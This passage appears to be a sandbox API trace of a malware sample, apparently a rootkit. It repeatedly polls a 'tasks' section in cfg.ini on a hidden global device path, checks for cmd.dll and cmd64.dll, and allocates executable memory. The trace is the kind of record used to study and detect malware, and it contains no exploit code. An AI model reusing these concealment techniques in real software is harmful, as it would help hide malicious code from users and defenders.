[0128.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.994] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.994] IdePortDispatch () returned 0x103 [0128.995] KeWaitForMutexObject () returned 0x0 [0128.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.995] KeLeaveCriticalRegion () [0128.995] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.995] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.995] KeEnterCriticalRegion () [0128.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.995] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.995] KeLeaveCriticalRegion () [0128.995] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.995] KeEnterCriticalRegion () [0128.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.995] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.995] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02280, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.995] KeLeaveCriticalRegion () [0128.995] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.996] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.996] KeEnterCriticalRegion () [0128.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.996] ExFreePoolWithTag (P=0xfffffa80036497d0, Tag=0x0) [0128.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.996] KeLeaveCriticalRegion () [0128.996] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.996] ReleaseMutex (hMutex=0xf0) returned 1 [0128.996] Sleep (dwMilliseconds=0x927c0) [0129.011] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.011] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.011] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.011] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.011] KeEnterCriticalRegion () [0129.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.011] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.011] IdePortDispatch () returned 0x103 [0129.011] KeWaitForMutexObject () returned 0x0 [0129.011] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.011] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.012] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.012] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.012] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.012] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01470 [0129.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.012] KeLeaveCriticalRegion () [0129.012] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.012] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.012] KeEnterCriticalRegion () [0129.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.012] KeLeaveCriticalRegion () [0129.012] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.012] KeEnterCriticalRegion () [0129.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.012] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.012] IdePortDispatch () returned 0x103 [0129.012] KeWaitForMutexObject () returned 0x0 [0129.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.012] KeLeaveCriticalRegion () [0129.012] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.012] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.012] KeEnterCriticalRegion () [0129.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b81000 [0129.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.013] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.013] IdePortDispatch () returned 0x103 [0129.013] KeWaitForMutexObject () returned 0x0 [0129.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.013] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.013] IdePortDispatch () returned 0x103 [0129.013] KeWaitForMutexObject () returned 0x0 [0129.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.013] KeLeaveCriticalRegion () [0129.013] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.014] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.014] KeEnterCriticalRegion () [0129.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.014] KeLeaveCriticalRegion () [0129.014] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.014] KeEnterCriticalRegion () [0129.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.014] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.014] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.014] KeLeaveCriticalRegion () [0129.014] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.014] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.014] KeEnterCriticalRegion () [0129.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.014] ExFreePoolWithTag (P=0xfffffa8003c01470, Tag=0x0) [0129.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.014] KeLeaveCriticalRegion () [0129.014] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.014] ReleaseMutex (hMutex=0xf0) returned 1 [0129.014] Sleep (dwMilliseconds=0x927c0) [0129.030] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.030] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.030] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.030] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.030] KeEnterCriticalRegion () [0129.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.030] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.030] IdePortDispatch () returned 0x103 [0129.030] KeWaitForMutexObject () returned 0x0 [0129.030] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.030] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.030] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.030] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.030] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.030] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.030] KeLeaveCriticalRegion () [0129.030] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.030] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.030] KeEnterCriticalRegion () [0129.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.031] KeLeaveCriticalRegion () [0129.031] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.031] KeEnterCriticalRegion () [0129.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.031] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.031] IdePortDispatch () returned 0x103 [0129.031] KeWaitForMutexObject () returned 0x0 [0129.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.031] KeLeaveCriticalRegion () [0129.031] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.031] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.031] KeEnterCriticalRegion () [0129.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b86000 [0129.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.031] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.031] IdePortDispatch () returned 0x103 [0129.031] KeWaitForMutexObject () returned 0x0 [0129.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.032] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.032] IdePortDispatch () returned 0x103 [0129.032] KeWaitForMutexObject () returned 0x0 [0129.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.032] KeLeaveCriticalRegion () [0129.032] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.032] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.032] KeEnterCriticalRegion () [0129.032] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.032] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.032] KeLeaveCriticalRegion () [0129.033] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.033] KeEnterCriticalRegion () [0129.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.033] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.033] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.033] KeLeaveCriticalRegion () [0129.033] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.033] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.033] KeEnterCriticalRegion () [0129.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.033] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.033] KeLeaveCriticalRegion () [0129.033] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.033] ReleaseMutex (hMutex=0xf0) returned 1 [0129.033] Sleep (dwMilliseconds=0x927c0) [0129.048] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.048] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.048] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.048] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.049] KeEnterCriticalRegion () [0129.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.049] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.049] IdePortDispatch () returned 0x103 [0129.049] KeWaitForMutexObject () returned 0x0 [0129.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.049] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.049] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.049] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.049] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.049] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02120 [0129.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.049] KeLeaveCriticalRegion () [0129.049] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.049] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.049] KeEnterCriticalRegion () [0129.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.049] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.049] KeLeaveCriticalRegion () [0129.049] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.049] KeEnterCriticalRegion () [0129.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.049] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.049] IdePortDispatch () returned 0x103 [0129.049] KeWaitForMutexObject () returned 0x0 [0129.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.050] KeLeaveCriticalRegion () [0129.050] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.050] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.050] KeEnterCriticalRegion () [0129.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.050] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8b000 [0129.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.050] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.050] IdePortDispatch () returned 0x103 [0129.050] KeWaitForMutexObject () returned 0x0 [0129.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.050] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.050] IdePortDispatch () returned 0x103 [0129.050] KeWaitForMutexObject () returned 0x0 [0129.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.051] KeLeaveCriticalRegion () [0129.051] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.051] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.051] KeEnterCriticalRegion () [0129.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.051] KeLeaveCriticalRegion () [0129.051] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.051] KeEnterCriticalRegion () [0129.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.052] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.052] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.052] KeLeaveCriticalRegion () [0129.052] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.052] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.052] KeEnterCriticalRegion () [0129.052] ExAcquireFastMutexUnsafe (in: 